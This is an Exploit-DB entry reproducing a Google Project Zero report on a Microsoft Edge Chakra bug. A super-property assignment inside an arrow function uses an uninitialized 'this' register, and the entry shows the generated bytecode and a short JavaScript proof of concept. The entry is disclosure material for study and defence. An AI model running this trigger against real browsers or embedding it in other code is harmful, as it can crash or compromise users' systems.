Microsoft Edge Chakra - 'EmitAssignment' uses the 'this' Register Without Initializing

EDB-ID: 42472
Author: Google Security Research
Published: 2017-08-17
CVE: N/A
Type: Dos
Platform: Windows
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1283 

"EmitAssignment" doesn't call "EmitSuperMethodBegin" that initializes the "this" register for the case when the super keyword is used.

Here's the generated bytecode for the lambda function in the PoC. R5 is uninitialized.
Function Anonymous function ( (#1.3), #4) (In0) (size: 7 [7])
9 locals (1 temps from R8), 1 inline cache
Constant Table:
======== =====
R1 LdRoot
R2 Ld_A (undefined)
R3 LdC_A_I4 int:1

0000 ProfiledLdEnvSlot R6 = [1][4] <0>
000c ProfiledLdEnvSlot R4 = [1][3] <1>


Line 28: super.a = 1;
Col 13: ^
0018 LdHomeObjProto R8 R4
001d ProfiledStSuperFld R8.(this=R5) = R3 #0 <0>
0025 LdUndef R0


Line 29: }
Col 9: ^
0027 Ret

PoC:
-->

class Parent {

};

class Child extends Parent {
constructor() {
(() => {
super.a = 10; // Implicitly use the "this" register. So it must be initialized.
})();
}
};

new Child();

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